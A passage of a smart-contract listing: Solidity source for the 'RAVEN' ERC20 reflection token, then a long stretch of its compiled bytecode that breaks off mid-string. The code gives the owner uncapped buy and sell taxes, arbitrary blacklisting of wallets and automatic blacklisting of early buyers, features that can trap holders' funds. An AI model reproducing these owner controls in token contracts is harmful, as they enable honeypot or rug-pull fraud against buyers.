_taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600581526020017f524156454e000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f524156454e000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b9150613